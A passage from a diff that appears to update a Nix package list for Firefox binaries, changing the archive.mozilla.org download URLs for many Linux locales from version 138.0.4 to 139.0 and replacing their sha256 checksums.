+      sha256 = "912f907d13b186c6ef73f71768136494c86488351207327ea87f36b4b302d5ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/vi/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/vi/firefox-139.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "38ff692acb9f0237ff989dc80c7d67c25286fda25070e8fd65e1b217d4400f15";
+      sha256 = "997afe984f40e39114445b94e60dad299a302faaf55c2f05b074c35910445e81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/xh/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/xh/firefox-139.0.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "1c2d47df6876ab96c670562575cc9dbf8ec1ba183c6ea97035be74212786f64c";
+      sha256 = "747890f9780ae3fbaf7573495f89a01aaf341bb9bbc1201dbd972cf64747ecda";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/zh-CN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/zh-CN/firefox-139.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "f3c0e21a9d0e8875bf81bd75371cca8069308b3b89b6209dbe4fad9bebd75e44";
+      sha256 = "d03edc3d98b766fe605ccd70d875f4fe69bfbf50eb0669dd106e3bf48a6a57e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-x86_64/zh-TW/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/zh-TW/firefox-139.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "6f4e54f67799f703422c290347aeb769687486586da55e152c2b9130206f57f5";
+      sha256 = "799bb8895b5f4c1910c9e22fbeccb395387060e67e34d99e5e8c0d722e215393";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ach/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ach/firefox-139.0.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "5dd3ba89132f9f8c7ee68e67af48d78c024c287d0a33b8c2f9ba4b55d1ad9f74";
+      sha256 = "27178256d93f9a843891a16592d62cdfbe6687825f08e67cd908bb8c72a1f602";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/af/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/af/firefox-139.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "f03189eed2f414ceece4d863002565f86665f359b863cf2a20a0307150ebe2cb";
+      sha256 = "292aa67b9e8e7a4b3716f70c82af78ff81e8301f6ccc130865d1573edf2ce7d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/an/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/an/firefox-139.0.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "fa601b188bbd69d0f449371c00d836d377ba313f017d05695939743037b8d3c2";
+      sha256 = "b07a21ff873eef36722b3d79e77edb5fc112fd63013fe96fa2e55e4a38240055";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ar/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ar/firefox-139.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "0024c9a16e7f9b797fc03c3409d7867f67fba30152d1ba2da0cc8d31590169b2";
+      sha256 = "7d4b96f67348ca1f40407e7a8ee98d7ec5d10291c90b6ac969b38b6cb5a92838";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ast/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ast/firefox-139.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "9f9f45ec3c8b3d1041fd01366de8a7d7e4c5cfa139ee362ba749d27b10b63ad4";
+      sha256 = "089c7a8133cc2f5fb04091916bbc984f74df22787989cea994cdc5264c410fc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/az/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/az/firefox-139.0.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "db7b0bf68da87abaa98148a0eeef7e1190905385dd42e18c752fce65d50894fb";
+      sha256 = "55ad66bdc51127a2a2c765afce28add1dd40a902ef52dffe04b55a4f8fea37de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/be/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/be/firefox-139.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "26e860fc1a8fc14d7711f1b7da85ef8c9514eaa902ba21621b0347def6c5d55b";
+      sha256 = "7d44dfbd5e22762be96ab4c9c6db184678ee353afb3fc0c59e777be49bc1d1ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/bg/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/bg/firefox-139.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "624cbda3f271329bf645f1ef43d1aeea9d8fbdb36076965f3b9db5a1b6ff4f5e";
+      sha256 = "832de0a74891240375d4c9aaf2e4f682393cc843b62aae1c7f6a12f06e569fe2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/bn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/bn/firefox-139.0.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "597ccdce124bec7dca2e6072d34b11a5d920cf5056b13424729e159a8783b495";
+      sha256 = "e2f841caa1cf76bdb4befe94f4295e7a8c949b8b3e541df0bdfba6e18775bf88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/br/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/br/firefox-139.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "b13c74d9f699454554c32d67eda818634ffb7b9e83e215b7909f564702721ca8";
+      sha256 = "4f69d55359a55d57ac154b69d596ab6332d1ec59d181ee8b5354b1a1bfdca2b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/bs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/bs/firefox-139.0.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "acdbf7f530ce672e03a0c04ed7689695d33a28e584822bde566f5a7cc002edbd";
+      sha256 = "83736a88a39d42847e4666f5f820a56ab67965a9e7ab6f98d30384a6f82c8dca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ca-valencia/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ca-valencia/firefox-139.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "0166f2f05e40690709f172ed356908fdb1743065306322c450560300a99d54d2";
+      sha256 = "7d700106989216a0f04cd44c9512788314867d522ae0fd065a92a61f3ebcfe7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ca/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ca/firefox-139.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "85278d898c3c9ed00355965b3eba133bb83458e67e8c05fd93cfa4679d63fa5e";
+      sha256 = "e25b39229a1efb7ff778d435725ca2faf8d42911889888690832acb6aacc136c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/cak/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/cak/firefox-139.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "5904a61687f1e43bcd3781781c11dee050c0a85158858097ea3aab12f2b3411f";
+      sha256 = "de677e0978e072476cac48ba7bdaa0aca5ac2b16d0df111837cf2a73f4318fe5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/cs/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/cs/firefox-139.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "db2592b7c11979796ca264cf5784cfe216fce30543fca3382aab9dfdcfc86b46";
+      sha256 = "42557f13736303be6b71b683d8a7f211901795c9e66c358ec07a3ee84dd26c29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/cy/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/cy/firefox-139.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "af3eb1ea06ff7e6c18753c6cf3d70d70aed4764d6ddb0804754fa65fab706337";
+      sha256 = "d425a6348c74b897e0e160c7de25ce54eac130983d245d0fbdb7e238f6784534";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/da/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/da/firefox-139.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "797c4aede76d16ea193a664bebb1a39911a84cc2725930f3f5f472105c226af7";
+      sha256 = "b8a1f2d0e93a82ddd862ff14cd0ecf8f3ca0471b02e13c60a3a911464de010ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/de/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/de/firefox-139.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "10d20fbf478278b7839e2eb90b42ceb54665a32de7337a62829127c40d4cb3e6";
+      sha256 = "225b2912384163aaf3e9d499a40b17488ef8e217a052657586fc99238887334c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/dsb/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/dsb/firefox-139.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "f3251a83c59efe8dca6003a2249c322a3fbd6ad36f1db709fea3ea0b11d47af1";
+      sha256 = "de325a64c55317017ceeccca944d4dde695492960236b1c0d8084efd14e05745";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/el/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/el/firefox-139.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "611c1d7d26801f491049fc09cafacb8bcd6552bb5e84ee5a96847e04416e206f";
+      sha256 = "8bb71398aaa2d0c129d405672858f7b1df42ba4fef9a65501858fb95e1dcaef3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/en-CA/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/en-CA/firefox-139.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "9248fff165cdddf83473eefcb044c21aea74e8163486de9c7472dc81c5568c38";
+      sha256 = "fa295f3cea1a951e96ef8bf292af2c0f169506e0950a4f4b5a43bb38e2aa35f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/en-GB/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/en-GB/firefox-139.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "168c1d5b3221e3de90b5e22b52e072527385898f24f4eca40327975f126e6a7b";
+      sha256 = "86ed94699031d7ad9f124b65c6515c46c70aa00410d5c525cc8c13828c2bda49";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/en-US/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/en-US/firefox-139.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "ee449eeb513f9e02731d1281a2575c18a803789d925312d08dbe77acfd42db53";
+      sha256 = "113e3b3db499c3b7e294cd71d643fb53009c97a442a4a167275f4e6fc259ecc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/eo/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/eo/firefox-139.0.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "a47996ea9b5370f46dec43f681fa02175eb9afd0b7c6a1c213de2c8221da394c";
+      sha256 = "a2b781b872d24f714b253c28824382e1c3617ee2c6d6bfe65f3e6953f9abad7f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/es-AR/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-AR/firefox-139.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "8853b6e57a1bf6f1af9df93f18b54a3803c1c281ea62d7ebdd8a9c4752e3875b";
+      sha256 = "41285cf13315ab627829e21e8ac0f72f8673f2b8911cf4ead7c3e4a2304d7902";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/es-CL/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-CL/firefox-139.0.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "fcf2534647fc003d28c65f5125efc855a2acfa40ccfd1808a9ea5ca66a06f93f";
+      sha256 = "76b7cfccd87174c6db22876d9796f24fb3f66d5b7b0555fe8929d171c2421cc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/es-ES/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-ES/firefox-139.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "afc9828ca74ebbf52f163585462c8f4536cb6c4d526a2264e7b77428699dc8ed";
+      sha256 = "8553a85b9fbb7edee2147c4ffa2d54609340dc6f3fa8bd1ee1c83e84406e5c29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/es-MX/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/es-MX/firefox-139.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "e30d7471cbf609d4c59aa3fbc80f93e8c61f3467641c163bd285e4388dfe2d5f";
+      sha256 = "89fdfdc2a809cc5af37a349fce6e855ec946412bf5674c0d2f9e4260bc0e5c69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/et/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/et/firefox-139.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "2b27650300b9bba378caf83c58894f2c149962f1f8a957f7301ba624875533e4";
+      sha256 = "ecc3ba28eb856b1a39bde2a06c2ea2ada7d8ba766496780e23e9d02f316d3d34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/eu/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/eu/firefox-139.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "47ba871013aaff2c05b56d6e75e95d5131cc27885d76d4eb67c1cdbd452d82f6";
+      sha256 = "e8ccc11316569fc104741d15263bb2c462defb1650ff1683156e4aaeeca79f8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/fa/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fa/firefox-139.0.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "7f1bcdd745ce25852951cabbe3aa1771e9adb054211ebd66376aa1551715ad24";
+      sha256 = "3cc643e62871712605ed28b4bf0165071874c759a98c231cb7b785578ffccbdd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ff/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ff/firefox-139.0.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "b4a18327ea9d084cdea3fdeae6ab4e250a618551cecc4f5579146dbb78b1b7b8";
+      sha256 = "475aa8baf8784eee752848aab728cdda23b8989b72758edb7c7e366b9267de44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/fi/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fi/firefox-139.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "70ad3a0ad598ae03bb82fa0d018fb67a3379c2fe290f8ca6db7c41547b936ee9";
+      sha256 = "fec06cb2c8390e8399557c5aa028919f24568f3aec877529ee2ff4928bb1ded2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/fr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fr/firefox-139.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "6b2b8e24a3d47d9278af8cdf950a6acd8e02f41dc8d2eed6959e9e9c22b43c38";
+      sha256 = "bb296a432f4ad5e5d7919e69077ba1e49fc16672f7c93ad38e652aec0b878b4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/fur/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fur/firefox-139.0.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "1f71f40a7b7613fce5db1ac90334c892f7942eb318c56366b0a8a9ebcdd573c3";
+      sha256 = "81bbdca701d27e97bac47d6d57546fb20da804bfaaf7412cc28db413707c2b8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/fy-NL/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/fy-NL/firefox-139.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "c6c855030055902068fa6b1494b4bd8051107f9cc551270a763483fd73baf8d3";
+      sha256 = "f4e4adb40ac7ef19e3cba1adbc5849f56f0a8f794b8afbacaf43272a7d339f23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ga-IE/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ga-IE/firefox-139.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "5a0ee4954443dc0a9c72b141ba7c27ee4691f47203b41f871a26532d66608942";
+      sha256 = "6e3ebf0c79b0da60f23b89ab724fa25026e81ac94d4858b5c0d5b33337827303";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/gd/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gd/firefox-139.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "ca2527427edb8086f8451a3bd82a6b301bf2a96bac331bfffb57b4f51f91f3fd";
+      sha256 = "62322bee24bfdebf51e15fa010049294ec4ad786349752a38dc4ba2825593675";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/gl/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gl/firefox-139.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "03a267074834c2b27d344d05cc2dcf00f29efb396ff9512bff0669a6f8bebbdf";
+      sha256 = "56e6e9a1dfe3b1847a2b827ea84770896d8b88156aa7225503428ac9b39a20a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/gn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gn/firefox-139.0.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "cfe27a3e05b961904b1597c8d4fc0b0e99b7e33227520e43e8263f9c9cfe0b4a";
+      sha256 = "724211b410224b4d62f8389df1935ad146facc517027dc456ba6f78d629a2480";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/gu-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/gu-IN/firefox-139.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "4cae698f4e15e43ce9cffdefaca39599adbba39175f50d65a46966fda45715f5";
+      sha256 = "6bc9a0c4b3c6fe90d12a18b14fa7d91ecf03450af9b1abf6091bdc007b620e72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/he/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/he/firefox-139.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "15740234c63502aebbfe37ada70c52d8d14233f9f44235a76ca2d81a28e4bcc4";
+      sha256 = "a0d04c8a83a801213087f1ec04c72664e5604a10dffcaf0c221ae58bc4619836";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/hi-IN/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hi-IN/firefox-139.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "16ca487354ae6c278e2ea46809be206da5bf406374b2778423b901466321d7a9";
+      sha256 = "e6951e1e637b23def9b64e144d65cabbc31182537efc4482a04fa0a08c216366";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/hr/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hr/firefox-139.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "f010c61e690aa48be7b5e1b8d2ca9f10cfa38d450738dad408901b22c9caaeaf";
+      sha256 = "9d213fc5feddff990c24cff8e65355f50cc434bdda8faac8d63647ee40c52216";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/hsb/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hsb/firefox-139.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "880ef92add1adb0d1638d5bd7db94d1a3d2e753d9575fd5dc904b5efd1b6b646";
+      sha256 = "c4c10ed836ea227193bd781b92a9210f9e3820962b939998036ad736ae7d46a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/hu/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hu/firefox-139.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "a8495cf15efd6cec8655df3ac160c9b4991ab58c13c832c350829835cb4350e7";
+      sha256 = "7cf59a45bfa65a6435119be5fc2c66d666e8a8cc43218eb7157c84969195484f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/hy-AM/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/hy-AM/firefox-139.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "89fc7f96ae391fcda0322c752c9f6d279cbf6f274c06c65ab1168d472ca7f8bc";
+      sha256 = "c0b389096254d07a2d17ce561677f7cf493cc72ca27a01e4305e3952e0ffc5b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ia/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ia/firefox-139.0.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "b22e860dda57ec4c2874ff4962a5c43912cc59dcb12f9c577d20cca4a35b0700";
+      sha256 = "0f9c6529ebe65476a334430bf197127357eb2fdc9cffe0f3de02e43e06bcfb2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/id/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/id/firefox-139.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "a1fa0cc30aef3f5aa2d59f4ff472985c1de6d86f394d94517bab39387d7362cd";
+      sha256 = "e0b0b6d7b2f741b362d53850cefec40d6e17fe1dc2d2d8c2752203c286151374";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/is/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/is/firefox-139.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "580cdc317a53fdeaa83127a4bf5ce47224ab6757b985254001ac36e2bb0b5db8";
+      sha256 = "531924faa51c6a66a3f86c66770ce501df0b3206c8b3c6d7bfc147ba30811460";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/it/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/it/firefox-139.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "8431a4a808e7cb7e8f44d3f39f75c39de327d1a51e5297dd1f62ee0a4aa1d263";
+      sha256 = "b96e5a42f0ca99bd356ec751a859ded06e3d818aa6b8157c081040d538ca099f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ja/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ja/firefox-139.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "f6ded939f6ca9ecdf75e7b756b7bca5302cb3c9b9e311c716aecfa665969d6c2";
+      sha256 = "d5aada2aefae34d8cad587c851a7173958da3a67d183f0d2f110954e3a729222";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/ka/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ka/firefox-139.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "ba010ae9f3d60d3493d57b2cd149511ecbdef37c6b4e777e061f68ce53926573";
+      sha256 = "23115ba4339cdcf3e452771e56f2a593f3f516b76b7b902d902cb4336addecc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/kab/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/kab/firefox-139.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "e63d49d6c4323404e936c1e4db07f1b1e9178c7e2fe6fdf3feea0e27b16ba7a7";
+      sha256 = "a12121b1c8a4e1fcab2e3d2cb52bbdcf078adf68383686559869ba1ff7c7632c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/kk/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/kk/firefox-139.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "ca2c604cd04d1cded67e68573c8258757e347cadadc7a471f20224ba72125a80";
+      sha256 = "3d26df70272ac8d5c7e7ecafb00569c1feb4531e10796da8a0a562b84dc1617b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/km/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/km/firefox-139.0.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "34cc683a8ff5d05c48eeeaf976a02088c90c30c282be284ed5d605a987bac2c7";
+      sha256 = "d8ff5e4643bedd415736bf2ffcc0d7950d5d0d915b229a8a3fb029ebee8aec94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/linux-i686/kn/firefox-138.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/kn/firefox-139.0.tar.xz";
       locale = "kn";
       arch = "linux-i686";
